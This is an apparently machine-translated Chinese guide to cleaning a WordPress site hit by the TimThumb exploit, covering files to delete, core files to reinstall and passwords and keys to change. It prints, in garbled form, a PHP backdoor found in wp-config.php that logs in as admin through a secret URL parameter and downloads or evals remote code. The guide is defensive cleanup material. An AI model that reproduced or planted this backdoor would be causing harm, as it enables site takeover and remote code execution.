如何修复和清理WordPress中的TimThumb Hack

所以如果你没有记错的话,8月份的TimThumb脚本存在安全问题。 然而,令我们惊讶的是,许多网站仍然使用旧版本。 在过去一个月里,我们已经确定了三个地点,一个是昨天。 因此,只需逐步撰写文章,这是有道理的,所以我们的用户可以随时关注它。 我们解决这个问题的所有三个用户甚至不知道TimThumb是什么,或者他们是否使用它。

TimThumb是一个调整图像大小的PHP脚本。 它有一个漏洞,但现在使用是安全的。

那么你怎么知道你的网站被黑了呢? 如果您在访问您的网站时在浏览器上看到红色大屏幕,请执行以下操作:

有些事情不对

如果您开始受到关于用户从您的网站重定向的电子邮件轰炸。 最有可能的情况是,您的网站是这个漏洞的受害者。

作为一个谨慎的措施,每个人都应该使用这个Timthumb漏洞扫描器。 这会告诉你是否使用TimThumb的旧版本。 许多主题俱乐部立即升级了他们的核心。 所以这个插件会检查是否安装了Timthumb的新安全版本,或者安装了旧版本。

现在,如果你的网站已经陷入了这个Timthumb的攻击,那么这就是你需要做的。

首先你需要删除下列文件:

/wp-admin/upd.php
 /wp-content/upd.php 

登录WordPress管理面板并重新安装WordPress版本。 我们正在专门寻找重新安装这些文件:

/wp-settings.php
 /wp-includes/js/jquery/jquery.js
 /wp-includes/js/110n.js 

然后打开你的 WP-config.php文件 在那里你很可能会发现这个大的恶意软件代码,正在收集登录凭据和cookie。 这段代码将会走向底部。

if(isset($ _ GET ['pingnow'])&& isset($ _ GET ['pass'])){
 if($ _GET ['pass'] =='19ca14e7ea6328a42e0eb13d585e4c22'){
 if($ _GET ['pingnow'] =='login'){
 $ user_login ='admin';
 $ user = get_userdatabylogin($ user_login);
 $ user_id = $ user-> ID;
 wp_set_current_user($ user_id,$ user_login);
 wp_set_auth_cookie($ user_ID的);
 do_action('wp_login',$ user_login);
 }
 if(($ _GET ['pingnow'] =='exec')&&(isset($ _ GET ['file']))){
 $ ch = curl_init($ _ GET ['file']);
 $ fnm = md5(rand(0,100))。'。php';
 $ fp = fopen($ fnm,“w”);
 curl_setopt($ ch,CURLOPT_FILE,$ fp);
 curl_setopt($ ch,CURLOPT_HEADER,0);
 curl_setopt($ ch,CURLOPT_TIMEOUT,5);
 curl_exec($ CH);
 curl_close($ CH);
 FCLOSE($ FP);
 回声“”;
 }
 if(($ _GET ['pingnow'] =='eval')&&(isset($ _ GET ['file']))){
 $ ch = curl_init($ _ GET ['file']);
 curl_setopt($ ch,CURLOPT_RETURNTRANSFER,true);
 curl_setopt($ ch,CURLOPT_HEADER,0);
 curl_setopt($ ch,CURLOPT_TIMEOUT,5);
 $ re = curl_exec($ ch);
 curl_close($ CH);
 的eval($重);
 }}} 

在您的主题文件夹中,查找TimThumb脚本可能存储缓存文件的任何位置。 通常他们是这样的结构:

/wp-content/themes/themename/scripts/cache/external_{MD5Hash}.php
 /wp-content/themes/themename/temp/cache/external_{MD5Hash}.php 

删除看起来像这样的一切。 如果您不确定的事情,然后删除所有不是图像文件。

接下来你要做的是用最新的版本替换timthumb.php,它可以在http://timthumb.googlecode.com/svn/trunk/timthumb.php找到

现在,将您的密码从您的MySQL登录信息更改为您的WordPress登录信息将是一个好主意。 不要忘记在wp-config.php中更改MySQL的密码,否则会出现“建立连接时出错”屏幕。

更改wp-config.php文件中的密钥。 您可以通过转到在线生成器来生成一个新的密钥。

现在你完成了。 不要忘记清空所有的页面缓存插件。 作为一项警示措施,清除浏览器缓存和Cookie也是一件好事。

对于开发人员,请尝试使用WordPress中的“其他图像大小”功能来替换Timthumb功能。

让我们知道如果您需要进一步的帮助,使用我们的联系表格。